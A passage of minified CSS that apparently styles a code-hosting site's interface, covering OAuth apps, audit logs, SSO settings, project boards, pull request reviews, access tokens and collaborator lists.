.loading-indicator{display:block}.oauth-org-access-details .oauth-org-item .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item .unauthorized-tools{display:block}.oauth-org-access-details .btn{line-height:1.5em}.oauth-org-access-details .octicon{color:var(--color-fg-muted)}.oauth-org-access-details .octicon-check{display:none;color:var(--color-success-fg)}.oauth-org-access-details .octicon-x{display:inline}.oauth-org-access-details .octicon-x.org-access-denied{color:var(--color-danger-fg)}.permission-title{margin-top:0}.boxed-group-inner .oauth-application-info{margin-bottom:8px}.oauth-application-info .application-title{font-size:32px;color:var(--color-fg-default)}.oauth-application-info .application-description{margin-top:4px;margin-bottom:0}.oauth-application-info .listgroup-item{line-height:inherit}.oauth-application-info .app-denied,.oauth-application-info .app-approved{margin-left:8px;font-size:14px;font-weight:400;white-space:nowrap}.oauth-application-info .app-approved,.oauth-application-info .octicon-check{color:var(--color-success-fg)}.oauth-application-info .app-denied,.oauth-application-info .octicon-x{color:var(--color-severe-fg)}.app-transfer-actions form{display:inline}.developer-app-item .developer-app-avatar-cell{width:60px}.developer-app-item .developer-app-name{font-size:14px;font-weight:600;line-height:1.25;color:var(--color-fg-default)}.developer-app-item .developer-app-name:hover{color:var(--color-accent-fg);text-decoration:none}.developer-app-item .developer-app-info-cell{padding-left:0}.developer-app-item .developer-app-list-meta{margin-top:4px;margin-bottom:2px;font-weight:400;color:var(--color-fg-muted)}.org-transfer-requests{margin:8px 0 16px}.toggle-secret-field .secret-standin{display:block}.toggle-secret-field .secret-field{display:none}.toggle-secret-field.open .secret-standin{display:none}.toggle-secret-field.open .secret-field{display:block}.invitation-2fa-banner{margin-right:-24px;margin-left:-24px}.sign-up-via-invitation .bleed-flush{width:100%;padding:0 16px;margin-left:-16px;border-color:var(--color-border-default)}.sign-up-via-invitation label{font-size:14px}.orghead{padding-top:16px;padding-bottom:0;margin-bottom:16px;color:var(--color-fg-default);background-color:var(--color-page-header-bg);border-bottom:1px solid var(--color-border-default)}.orghead .orgnav{position:relative;top:1px;margin-top:8px}.org-repos .TableObject-item--primary{white-space:normal}.org-name{font-weight:400;color:var(--color-fg-default)}.audit-log-search .member-info{width:300px}.audit-log-search .member-info .member-avatar{float:left;margin-right:16px}.audit-log-search .member-info .member-link{display:block}.audit-log-search .member-info .member-list-avatar{margin-right:0}.audit-log-search .member-info .ghost{display:inline-block;color:var(--color-fg-muted)}.audit-log-search .blankslate{border-top-left-radius:0;border-top-right-radius:0}.audit-log-search .export-phrase{margin:4px 0}.audit-results-actions{overflow:auto}.audit-search-clear{float:left;margin-bottom:16px;border:0}.audit-search-clear .issues-reset-query{margin-bottom:0}.audit-type{width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.audit-type .octicon{margin-right:4px;font-weight:400;vertical-align:bottom}.audit-type .repo{color:var(--color-severe-fg)}.audit-type .team{color:var(--color-success-fg)}.audit-type .user{color:var(--color-done-fg)}.audit-type .oauth_access{color:var(--color-danger-fg)}.audit-type .hook{color:#e1bf4e}.export-phrase{margin-top:4px}.export-phrase pre{padding-left:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;white-space:pre-wrap;border-left:1px solid var(--color-border-muted)}.two-factor-enforcement-form .loading-spinner{float:left;margin:0 0 0 -16px;vertical-align:middle}.saml-enabled-banner-container{background-color:var(--color-canvas-default)}.saml-settings-form .test-status-indicator,.oidc-settings-form .test-status-indicator{width:30px;height:30px;margin-top:-4px;border-radius:50%}.saml-settings-form .test-status-indicator .octicon,.oidc-settings-form .test-status-indicator .octicon{display:block;margin-top:8px;margin-right:auto;margin-left:auto}.saml-settings-form .form-group.errored,.oidc-settings-form .form-group.errored{margin-bottom:40px}.saml-settings-form .test-status-indicator-error,.oidc-settings-form .test-status-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis)}.saml-settings-form .test-status-indicator-success,.oidc-settings-form .test-status-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.saml-settings-form .details-container .method-field,.oidc-settings-form .details-container .method-field{display:none}.saml-settings-form .details-container .method-label,.oidc-settings-form .details-container .method-label{font-weight:400}.saml-settings-form .details-container .details-target,.oidc-settings-form .details-container .details-target{cursor:pointer}.saml-settings-form .details-container.open .method-value,.saml-settings-form .details-container.open .details-target,.oidc-settings-form .details-container.open .method-value,.oidc-settings-form .details-container.open .details-target{display:none}.saml-settings-form .details-container.open .method-field,.oidc-settings-form .details-container.open .method-field{display:inline-block}.saml-settings-form .saml-enforcement-disabled,.oidc-settings-form .saml-enforcement-disabled{opacity:.5}.form-group .form-control.saml-certificate-field{width:440px;height:150px;min-height:0}.member-avatar{float:left;margin:1px}.member-fullname{color:var(--color-fg-muted)}.auto-search-group{position:relative}.auto-search-group .auto-search-input{padding-left:32px}.auto-search-group .spinner,.auto-search-group>.octicon{position:absolute;left:10px;z-index:5;width:16px;height:16px}.auto-search-group .spinner{top:9px;background-color:var(--color-canvas-default)}.auto-search-group>.octicon{top:10px;font-size:14px;color:var(--color-fg-muted);text-align:center}.org-list .list-item{position:relative;padding-top:16px;padding-bottom:16px;border-bottom:1px solid var(--color-border-muted)}.org-list .list-item::before{display:table;content:""}.org-list .list-item::after{display:table;clear:both;content:""}.permission-level-cell .select-menu-button{width:90px;text-align:left}.permission-level-cell .select-menu-button::after{position:absolute;top:10px;right:10px}.permission-level-cell .spinner{float:none;opacity:0;transition:opacity .2s ease-in-out}.permission-level-cell .is-loading .spinner{opacity:1}.select-menu-option-title{margin-top:0;margin-bottom:0}.reinstate-org-member{position:relative;width:500px;margin:40px auto}.reinstate-org-member .reinstate-lead{margin-bottom:32px;font-size:16px}.reinstate-org-member label{cursor:pointer}.reinstate-org-member .reinstate-detail-container{margin:16px 0}.reinstate-org-member .reinstate-title{color:var(--color-fg-default)}.reinstate-org-member .reinstate-title .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.permission-title{margin-top:0}.invite-member-results ul{margin:0}.team-member-list{list-style:none}.team-member-list .table-list-cell{padding-top:16px;padding-bottom:16px}.team-member-list .team-member-content{margin-left:50px}.team-member-list .team-member-username{margin:0;font-size:14px;font-weight:600;line-height:20px}.team-member-list .Label--secondary{cursor:default}.team-member-list .invite-icon{width:28px;color:var(--color-fg-muted)}.menu-item-danger,.menu-item-danger.selected{color:var(--color-danger-fg)}.menu-item-danger:hover,.menu-item-danger[aria-selected=true],.menu-item-danger.navigation-focus,.menu-item-danger.selected:hover,.menu-item-danger.selected[aria-selected=true],.menu-item-danger.selected.navigation-focus{color:var(--color-fg-on-emphasis);background:var(--color-danger-emphasis)}.team-member-list-avatar{float:left;margin-right:8px}.team-member-list-avatar .octicon{width:40px;color:var(--color-fg-muted)}.confirm-removal-list-container{margin-bottom:16px;border:1px solid var(--color-border-default);border-radius:6px}.confirm-removal-list-item{padding:8px;margin:0;font-size:14px;font-weight:600;border-top:1px solid var(--color-border-muted)}.confirm-removal-list-item:first-child{border-top:0}.manage-member-meta{list-style:none}.manage-member-meta-item{margin-top:12px;color:var(--color-fg-muted)}.manage-member-meta-item:first-child{margin-top:0}.manage-member-meta-item .btn-link{color:var(--color-fg-muted)}.manage-member-meta-item>.octicon{width:14px;margin-right:4px;color:var(--color-fg-muted);text-align:center}.manage-member-meta-item>.octicon-alert{color:var(--color-severe-fg)}.ldap-group-dn{display:block;font-weight:400;color:var(--color-fg-muted)}.ldap-import-groups-container .blankslate{display:none}.ldap-import-groups-container.is-empty .blankslate{display:block}.ldap-import-groups-container.is-empty .ldap-memberships-list{display:none}.ldap-memberships-list{margin-bottom:32px}.ldap-memberships-list .table-list-cell{padding-top:8px;padding-bottom:8px;font-size:12px;vertical-align:middle}.ldap-memberships-list .table-list-cell:last-child{width:92px}.ldap-memberships-list .ldap-list-team-name{width:380px}.ldap-memberships-list .ldap-group-dn{font-size:12px}.ldap-memberships-list .ldap-mention-as{width:260px}.ldap-memberships-list .edit{position:absolute;padding:8px;margin-left:-32px;color:var(--color-accent-fg);cursor:pointer}.ldap-memberships-list .edit-fields{display:none}.ldap-memberships-list .is-editing .edit-hide{display:none}.ldap-memberships-list .is-editing .edit-fields{display:block}.ldap-memberships-list .is-editing .spinner{margin-left:16px;vertical-align:middle}.ldap-memberships-list .is-removing{opacity:.25}.ldap-memberships-list .is-removing .edit{opacity:.5}.team-name-field{height:33px}.ldap-import-form-actions{margin-top:32px}.invited .team-member-list{margin:-16px 0}.invited .team-member-list .list-item{padding:8px 0;border-bottom:1px solid var(--color-border-muted)}.invited .team-member-list .list-item::before{display:table;content:""}.invited .team-member-list .list-item::after{display:table;clear:both;content:""}.invited .team-member-list .list-item:last-of-type{border:0}.invited .team-member-list .list-item .edit-invitation{float:right;margin-top:4px}.invited-banner::before{display:table;content:""}.invited-banner::after{display:table;clear:both;content:""}.invited-banner .btn-sm{float:right;margin-left:4px}.invited-banner p{font-size:14px;line-height:1.5}.invited-banner .inviter-link{font-weight:600}.manage-member-sso-sessions.has-active-sessions .blankslate{display:none}.org-menu-item:not([aria-current=page])+.org-sub-menu{display:none}.trial-banner-notice{background-image:linear-gradient(180deg, #0366d6 0%, #2188ff 100%)}@media(min-width: 768px){.Popover-message--extra-large{min-width:544px !important}}.theme-picker{margin-bottom:-1px;background-color:var(--color-canvas-default);background-clip:padding-box;border-bottom:1px solid var(--color-border-default);box-shadow:var(--color-shadow-medium)}.theme-picker>.container{position:relative;overflow:hidden;text-align:center}.theme-picker-thumbs{border-bottom:1px solid var(--color-border-muted)}.theme-toggle{width:32px;height:32px;padding:0;color:var(--color-fg-muted);background:none;border:0}.theme-toggle:hover{color:var(--color-accent-fg);text-decoration:none}.theme-toggle.disabled,.theme-toggle.disabled:hover{color:var(--color-fg-muted);cursor:not-allowed}.theme-toggle-full-left,.theme-toggle-full-right{position:absolute;top:50px;overflow:hidden}.theme-toggle-full-left{left:4px}.theme-toggle-full-right{right:4px}.theme-selector{height:102px;margin:16px 46px}.theme-selector-thumbnail{padding:2px;border:1px solid var(--color-border-muted)}.theme-selector-thumbnail:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.theme-selector-thumbnail.selected{padding:4px;background-color:var(--color-accent-emphasis);border:0}.theme-selector-thumbnail.selected .theme-selector-img{border:1px solid var(--color-canvas-default)}.theme-selector-img{width:126px;height:96px;border-radius:1px}.theme-picker-spinner{position:absolute;top:16px;left:50%;margin-left:-16px;background-color:var(--color-canvas-default);opacity:1;transition:.2s,opacity ease-in-out}.theme-picker-spinner~.theme-picker-controls .theme-name{opacity:0}.theme-picker-view-toggle{float:left}.theme-picker-view-toggle .for-hiding{display:none}.theme-picker-view-toggle.open .for-hiding{display:inline}.theme-picker-view-toggle.open .for-showing{display:none}.theme-picker-controls{position:absolute;top:15px;left:50%;width:220px;margin-left:-110px;line-height:34px;text-align:center}.theme-picker-controls .theme-toggle{vertical-align:middle}.theme-name{display:inline-block;margin-right:8px;margin-left:8px;font-size:20px;line-height:1;vertical-align:middle}.page-preview{z-index:-100;display:block;width:100%;height:6000px;padding:0;background-color:var(--color-canvas-default);border:0}.pinned-items-spinner{position:relative;top:2px;left:6px}.pinned-items-setting-link{font-size:12px;font-weight:400}.pinned-item-name{color:var(--color-fg-default)}.pinned-item-checkbox+.pinned-item-name:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg);border-radius:6px}.pinned-item-checkbox:disabled+.pinned-item-name{color:var(--color-fg-muted)}.pinned-item-checkbox:disabled+.pinned-item-name:hover{cursor:default}.pinned-gist-blob-num{min-width:36px;cursor:default}.pinned-gist-blob-num:hover{color:var(--color-fg-muted);cursor:default}@media print{#serverstats,.Header-old,.Header,.header-search,.reponav,.comment::before,.comment::after,.footer,.pagehead-actions,.discussion-timeline-actions,.timeline-comment-actions,.timeline-new-comment,.thread-subscription-status,.lock-toggle-link,.header,.file-actions,.js-expandable-line,.gh-header-sticky,.pr-toolbar.is-placeholder,.language-color{display:none !important}.repository-lang-stats-graph{height:0}.btn:not(.btn-outline){color:var(--color-fg-default) !important;background:none}p,.comment h2{page-break-inside:avoid}.markdown-body h2{page-break-after:avoid}.topic-tag{padding:0}.topic-tag::before{margin-right:-2px;content:"#"}.blob-num{border-right:2px solid var(--color-border-default)}.blob-num-deletion{border-right-color:var(--color-danger-emphasis)}.blob-num-addition{border-right-color:var(--color-success-emphasis)}.blob-code-addition .x{border-bottom:2px solid var(--color-success-emphasis);border-radius:0}.blob-code-deletion .x{border-bottom:2px solid var(--color-danger-emphasis);border-radius:0}.pr-toolbar.is-stuck{position:static !important;width:100% !important}.diffstat-block-neutral{border:4px solid var(--color-border-default)}.diffstat-block-deleted{border:4px solid var(--color-danger-emphasis)}.diffstat-block-added{border:4px solid var(--color-success-emphasis)}.State{color:var(--color-fg-default);background:none;border:1px solid var(--color-border-default);border-color:none}.State--open{color:var(--color-success-fg);border:1px solid #2cbe4e}.State--merged{color:var(--color-done-fg);border:1px solid var(--color-done-emphasis)}.State--closed{color:var(--color-danger-fg);border:1px solid var(--color-danger-emphasis)}.markdown-body pre>code{white-space:pre-wrap}}.projects-splash-dialog{position:fixed;top:0;right:auto;left:50%;z-index:999;width:90vw;max-width:700px;max-height:80vh;margin:10vh auto;transform:translateX(-50%)}@media(min-width: 544px){.projects-splash-dialog{margin:20vh auto}}.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-mobile.png");background-repeat:no-repeat;background-position:left;background-size:cover}@media(min-width: 768px){.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner.png")}}.projects-splash-banner p{max-width:100%}@media(min-width: 768px){.projects-splash-banner p{max-width:55%}}@media(min-width: 768px){[data-color-mode=light][data-light-theme*=dark] .projects-splash-banner,[data-color-mode=dark][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: light)and (min-width: 768px){[data-color-mode=auto][data-light-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: dark)and (min-width: 768px){[data-color-mode=auto][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}.project-description p:last-child{margin-bottom:0 !important}.pending-cards-status{top:-2px;right:-9px;width:14px;height:14px;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-canvas-default)}.project-column{min-width:100%;max-width:100%;background-color:var(--color-canvas-inset);border-width:0 !important;border-radius:0 !important}.project-column:focus{outline:none}@media(min-width: 544px){.project-column{min-width:355px;max-width:355px;border-width:1px !important;border-radius:6px !important}.project-column:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus)}}.project-column.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus);transform:translateX(4px) translateY(-4px)}.sortable-ghost{background-color:var(--color-canvas-subtle);opacity:.5}.project-card{background-color:var(--color-canvas-overlay)}.project-card .project-reference-markdown>p,.project-card:last-child{margin-bottom:0 !important}.project-card:first-child{margin-top:8px !important}@media(min-width: 544px){.project-card:first-child{margin-top:4px !important}}.project-card ul,.project-card ol{margin-bottom:8px;margin-left:16px}.project-card blockquote{padding:0 .75em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.project-card .contains-task-list{margin-left:24px}.project-card:hover{border-color:var(--color-border-default) !important;box-shadow:0 1px 3px rgba(106,115,125,.3) !important}.project-card:focus{outline:none}@media(min-width: 544px){.project-card:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus) !important}}.project-card.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus) !important;transform:translateX(4px) translateY(0)}.issue-card.draggable{cursor:move}.issue-card .AvatarStack:hover .from-avatar{margin-right:-4px}.issue-card pre{word-wrap:break-word;white-space:pre-wrap}@keyframes show-pane{0%{transform:translateX(390px)}100%{transform:translateX(0)}}.project-note-form textarea{resize:vertical}.card-menu-container .dropdown-menu,.column-menu-container .dropdown-menu{min-width:180px}.card-octicon{top:6px;left:10px}.card-note-octicon{top:8px}.is-sending .auto-search-group .chooser-spinner{top:15px;right:21px;left:auto}.card-filter-autocomplete-dropdown{z-index:500;float:none;min-width:240px;max-height:270px;cursor:pointer}.card-filter-autocomplete-dropdown [aria-selected=true],.card-filter-autocomplete-dropdown .navigation-focus{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis);border-radius:6px}.card-filter-autocomplete-dropdown [aria-selected=true] .autocomplete-text-qualifier,.card-filter-autocomplete-dropdown .navigation-focus .autocomplete-text-qualifier{color:var(--color-fg-on-emphasis) !important}.projects-reset-query:hover .projects-reset-query-icon{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis)}.projects-reset-query-icon{width:18px;height:18px;padding:1px;background-color:var(--color-fg-muted)}.project-small-menu-dropdown::before,.project-small-menu-dropdown::after{display:none}.project-edit-mode .column-menu-container,.project-edit-mode .column-menu-item{display:none !important}.project-edit-mode .project-move-actions{display:flex !important}.push-board-over{padding-right:0 !important;transition:all .2s ease}@media(min-width: 544px){.push-board-over{padding-right:360px !important}}.projects-comment-form .comment-md-support-link{float:none;width:100%;text-align:center}.projects-comment-form .comment-form-actions{width:100%;padding:8px 16px;margin:4px 0 !important}.projects-comment-form .comment-form-actions button{width:100%;margin:4px 0 !important}.projects-comment-form .comment-form-head{padding:0 !important;margin:0 !important;border-bottom:0}.projects-comment-form .comment-form-head .tabnav-tabs{padding:8px 8px 0}.projects-comment-form .comment-form-head .toolbar-commenting{width:100%;padding-top:4px;text-align:center;background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-default)}.projects-comment-form .comment-form-head::after{display:block;clear:both;content:" "}.projects-comment-form .comment-form-textarea{height:250px !important}.projects-comment-form .preview-content{margin:0;border-top:1px solid var(--color-border-default)}.projects-comment-form .preview-content .comment-body{padding:16px}.project-issue-body-wrapper{max-height:200px;overflow:hidden}.Details--on .project-issue-body-wrapper{max-height:none;overflow:visible}.project-issue-body-blur{height:32px;background:linear-gradient(to top, var(--color-project-gradient-in), var(--color-project-gradient-out))}.Details--on .project-issue-body-blur{height:0}.project-comment-title-hover .comment-action,.project-comment-body-hover .comment-action{opacity:0}.project-comment-title-hover:hover .comment-action,.project-comment-body-hover:hover .comment-action{opacity:1}.project-comment-body-reaction .timeline-comment-action{padding:4px 8px}.project-name-hover .project-name-edit-action{opacity:0}.project-name-hover:hover .project-name-edit-action{opacity:1}.vcard-fullname{font-size:24px;line-height:1.25}.vcard-username{font-size:20px;font-style:normal;font-weight:300;line-height:24px;color:var(--color-fg-muted)}.user-profile-bio-message{margin:4px 0 0;font-size:12px;color:var(--color-fg-default)}.user-profile-following-container .user-following-container.on .follow,.user-profile-following-container .user-following-container .unfollow{display:none}.user-profile-following-container .user-following-container .follow,.user-profile-following-container .user-following-container.on .unfollow{display:block}.user-repo-search-results-summary{white-space:normal}.pull-request-tab-content{display:none}.pull-request-tab-content.is-visible{display:block}.discussion-timeline p.explain{margin:0;font-size:12px}.pull-request-ref-restore{display:none}.pull-request-ref-restore-text{display:block}.pull-discussion-timeline.is-pull-restorable .pull-request-ref-restore.last{display:block}.files-bucket{margin-bottom:16px}.full-width .diffbar .container{padding-right:0;padding-left:0}.stale-files-tab{float:left;padding:4px 8px;margin-top:-4px;margin-bottom:-4px;color:var(--color-severe-fg);background-color:var(--color-severe-subtle);border-radius:6px}.stale-files-tab-link{font-weight:600;color:inherit}.pr-toolbar{position:sticky;top:0;z-index:29;min-height:60px;padding:0 16px;margin:-16px -16px 0}.pr-toolbar .float-right .diffbar-item{margin-right:0}.pr-toolbar .float-right .diffbar-item+.diffbar-item{margin-left:16px}.pr-toolbar.is-stuck{height:60px;background-color:var(--color-canvas-default)}@media(min-width: 1150px){.commit-build-statuses .status-checks-dropdown{width:500px}}.full-commit .commit-build-statuses .status-checks-dropdown{width:500px}.files-next-bucket .file,.files-next-bucket .full-commit{margin-top:0;margin-bottom:16px}.diffbar{background-color:var(--color-canvas-default)}.diffbar .show-if-stuck{display:none}.diffbar .container{width:auto}.diffbar .table-of-contents{margin-bottom:0}.diffbar .table-of-contents ol{margin-bottom:-16px}.diffbar .table-of-contents li{border-top:1px solid var(--color-border-muted)}.diffbar .table-of-contents li:first-child{border-top:0}.diffbar [role^=menuitem]:focus:not(.is-range-selected) .text-emphasized,.diffbar [role^=menuitem]:hover:not(.is-range-selected) .text-emphasized{color:var(--color-fg-on-emphasis)}.is-stuck .diffbar .show-if-stuck{display:block}.is-stuck .diffbar .diffstat{display:none}.is-stuck .diffbar .stale-files-tab{margin-top:-8px}.diffbar-item{float:left;font-size:12px;vertical-align:middle}.add-comment-label,.is-review-pending .start-review-label{display:none}.start-review-label,.is-review-pending .add-comment-label{display:inline-block}.is-review-pending .review-simple-reply-button{display:none}.review-comment-contents{margin-left:44px}.review-comment::after,.review-comment-loader::after,.review-comment.is-comment-editing::after{position:absolute;top:31px;left:29px;z-index:-1;width:3px;height:100%;content:"";background-color:var(--color-canvas-subtle)}.review-comment{position:relative;padding:8px 16px;color:var(--color-fg-default)}.review-comment:first-child{padding-top:16px}.review-comment:last-child{padding-bottom:16px}.review-comment .comment-body,.review-comment .comment-reactions{padding:0}.review-comment .comment-body{padding-top:4px}.review-comment .comment-body .suggested-change-form-container:nth-last-of-type(2){margin-bottom:0 !important}.review-comment .comment-reactions{margin-top:4px;border-top:0 !important}.review-comment .comment-reactions.has-reactions{margin-top:12px}.review-comment .show-more-popover.dropdown-menu-sw{right:-5px;margin-top:4px}.review-comment:last-child::after,.review-comment:last-child .review-comment-contents::after{display:none}.review-comment .timeline-comment-action{padding:0 4px}.review-comment .is-comment-editing{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.review-comment .is-comment-editing::after{top:100%;bottom:0;left:19px;height:20px}.review-comment .is-comment-editing .timeline-comment-actions,.review-comment .is-comment-editing .edit-comment-hide{display:none}.review-comment .is-comment-editing .previewable-comment-form{display:block}.review-comment.is-comment-loading .previewable-comment-form{opacity:.5}.pr-review-reactions .has-reactions,.pr-review-reactions .has-reactions.comment-reactions{margin-bottom:16px;margin-left:16px}.timeline-comment.is-comment-editing .discussion-item-header{display:none}.review-thread-reply{padding:8px 16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.review-thread-reply .inline-comment-form{margin:-8px -16px;background-color:var(--color-canvas-default);border:0}.review-thread-reply-button{display:inline-block;min-height:28px;padding:4px 8px;margin-left:8px;cursor:text}.readme.contributing>div{max-height:250px;overflow:auto}.readme .markdown-body,.readme .plain{word-wrap:break-word}.readme .plain pre{font-size:14px;white-space:pre-wrap}.file .readme table[data-table-type=yaml-metadata]{font-size:12px;line-height:1}.file .readme table[data-table-type=yaml-metadata] table{margin:0}.labels-list .blankslate{display:none}.labels-list .table-list-header{display:block}.labels-list.is-empty .blankslate{display:block}.labels-list.is-empty .table-list-header{display:none}.label-select-menu-item .g-emoji{font-size:12px;line-height:1;vertical-align:baseline}.label-edit::before{display:table;content:""}.label-edit::after{display:table;clear:both;content:""}.label-edit label{display:block;margin-bottom:8px}.label-edit .error{float:left;margin-top:8px;margin-left:8px;color:var(--color-danger-fg)}.label-edit.loading{display:block}.label-characters-remaining{color:var(--color-fg-muted)}.repo-list{position:relative}.repo-list-item{position:relative;padding-top:32px;padding-bottom:32px;list-style:none;border-bottom:1px solid var(--color-border-muted)}.repo-list-item-with-avatar{padding-left:42px}.repo-list-item-hanging-avatar{float:left;margin-left:-42px}.mini-repo-list-item{position:relative;display:block;padding:4px 64px 4px 32px;font-size:14px;border-top:1px solid var(--color-border-default)}.mini-repo-list-item:hover{text-decoration:none}.mini-repo-list-item:hover .repo,.mini-repo-list-item:hover .owner{text-decoration:underline}.mini-repo-list-item .repo-icon{float:left;margin-top:2px;margin-left:-16px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-and-owner{max-width:220px}.mini-repo-list-item .owner{max-width:110px}.mini-repo-list-item .repo{font-weight:600}.mini-repo-list-item .stars{position:absolute;top:0;right:10px;margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-description{display:block;max-width:100%;font-size:12px;line-height:21px;color:var(--color-fg-muted)}.private .mini-repo-list-item{background-color:var(--color-attention-subtle)}.private .mini-repo-list-item .repo-icon{color:var(--color-attention-fg)}.form-group.errored label .commit-ref{background-color:var(--color-danger-subtle)}.repo-menu-item:not([aria-current=page])+.repo-sub-menu{display:none}.feature-callout .new-label-hidden{display:none}.feature-callout .new-feature-label.new-label-hidden{display:inline}.repository-og-image{width:100%;max-width:640px;height:320px;object-fit:cover;object-position:center;background-repeat:no-repeat;background-position:center;background-size:cover}.line-clamp-2{display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden}.timeout{width:auto;height:300px;padding:0;margin:16px 0;background-color:transparent;border:0}.timeout h3{padding-top:100px;color:var(--color-fg-muted)}.repo-language-color{position:relative;top:1px;display:inline-block;width:12px;height:12px;border:1px solid var(--color-primer-border-contrast);border-radius:50%}.iconbutton .octicon{margin-right:0}.prereceive-feedback{padding:16px;margin-bottom:16px;border:1px solid #dfe2e5;border-left:6px solid #caa21a;border-radius:6px}.prereceive-feedback-heading{margin-top:0;margin-bottom:8px;color:var(--color-attention-fg)}.repository-item-checkbox:checked+.repository-item-name{background-color:var(--color-accent-subtle)}.custom-role-icon{background-color:var(--color-canvas-subtle)}.profile-picture{margin:8px 0 0}.profile-picture>p{float:left;margin:0;line-height:30px}.profile-picture>img{float:left;margin:0 8px 0 0;border-radius:6px}.app-owner{margin:16px 0 0}.avatar-upload .flash{width:100%;padding:32px 16px;border:dashed 1px var(--color-danger-emphasis);box-shadow:none}.avatar-upload .upload-state{display:none;padding:8px 0}.avatar-upload .upload-state p{margin:0;font-size:12px;color:var(--color-fg-muted)}.avatar-upload .avatar-upload .octicon{display:inline-block}.is-uploading .avatar-upload .loading{display:block;padding:0}.is-uploading .avatar-upload .loading img{vertical-align:top}.is-uploading .avatar-upload .button-change-avatar{display:none}.is-bad-file .avatar-upload .bad-file{display:block;margin:0}.is-too-big .avatar-upload .too-big{display:block;margin:0}.is-bad-dimensions .avatar-upload .bad-dimensions{display:block;margin:0}.is-bad-format .avatar-upload .bad-format{display:block;margin:0}.is-failed .avatar-upload .failed-request{display:block;margin:0}.is-empty .avatar-upload .file-empty{display:block;margin:0}dl.new-email-form{padding:8px 8px 0;margin:0 -8px 8px;border-top:1px solid var(--color-border-default)}.recent-user-key-access{color:#1e7e34}.oauth-app-info-container .float-left-container{float:left;text-align:left}.oauth-app-info-container .float-right-container{float:right;text-align:right}.oauth-app-info-container dl.keys{margin:8px 0}.oauth-app-info-container dl.keys dt{margin-top:8px;font-weight:600;color:var(--color-fg-muted)}.oauth-app-info-container dl.keys dd{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-default)}.oauth-app-info-container .user-count{font-size:32px;font-weight:300;color:var(--color-fg-muted)}.access-token{border-bottom:1px solid var(--color-border-muted)}.access-token:last-child{border:0}.access-token .last-used{margin-right:8px}.access-token.new-token{background-color:rgba(108,198,68,.1)}.access-token.new-token .octicon-check{color:var(--color-success-fg)}.access-token .token-description{max-width:450px;color:var(--color-fg-default)}.access-token .token{font-size:14px}.access-token .token-type{min-width:76px}table.security-history-detail{width:100%;font-size:12px}table.security-history-detail td{max-width:200px;word-wrap:break-word}.u2f-registration{position:relative;padding-bottom:4px;margin-bottom:4px}.u2f-registration.is-sending .u2f-registration-delete{display:none}.u2f-registration.is-sending .spinner{position:relative;top:3px}.u2f-registration-icon{position:absolute;left:-24px;color:var(--color-fg-muted)}.new-u2f-registration{position:relative}.new-u2f-registration .add-u2f-registration-form:not(.for-trusted-device){display:none;margin-bottom:8px}.new-u2f-registration.is-active .add-u2f-registration-link{display:none}.new-u2f-registration.is-active .add-u2f-registration-form{display:block}.new-u2f-registration .webauthn-request-interaction,.new-u2f-registration .webauthn-request-error{display:none}.new-u2f-registration.is-sending .webauthn-request-interaction{display:block}.new-u2f-registration.is-showing-error .webauthn-request-error{display:block}.spinner{display:none}.is-sending .spinner{display:inline-block}.confirmation-phrase{font-style:italic;font-weight:400}.session-device .session-state-indicator.recent{background-color:var(--color-success-emphasis);box-shadow:0 0 10px rgba(108,198,68,.5)}.session-device .session-state-indicator.revoked{background-color:var(--color-danger-emphasis);box-shadow:0 0 10px rgba(198,108,68,.5)}.session-device .session-state-indicator.not-recent{background-image:linear-gradient(#aaa, #ccc);box-shadow:0 1px 0 #fff}.collaborators .collab-list{border-bottom-width:0}.collaborators .collab-list-item:first-child .collab-list-cell{border-top-width:0}.collaborators .collab-list-cell{padding-top:16px;padding-bottom:16px;vertical-align:middle}.collaborators .collab-meta{width:140px}.collaborators .collab-remove{padding-right:16px;text-align:right}.collaborators .collab-remove .remove-link{color:var(--color-fg-muted)}.collaborators .collab-remove .remove-link:hover{color:var(--color-danger-fg)}.collaborators .collab-team-link{width:300px}.collaborators .collab-team-link:hover{text-decoration:none}.collaborators .collab-team-link .avatar{float:left;margin-top:1px;margin-right:8px}.collaborators .collab-team-link.disabled{pointer-events:none}.collaborators .collab-info{height:100%;color:var(--color-fg-default)}.collaborators .collab-info .description{padding-right:50px;margin-top:4px;margin-bottom:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.collaborators .collab-info .collab-name{display:block;font-size:14px}.collaborators .collab-info .collab-message{position:relative;top:25%;display:block}.collaborators .copy-invite-modal{left:0;width:300px}@media(min-width: 768px){.collaborators 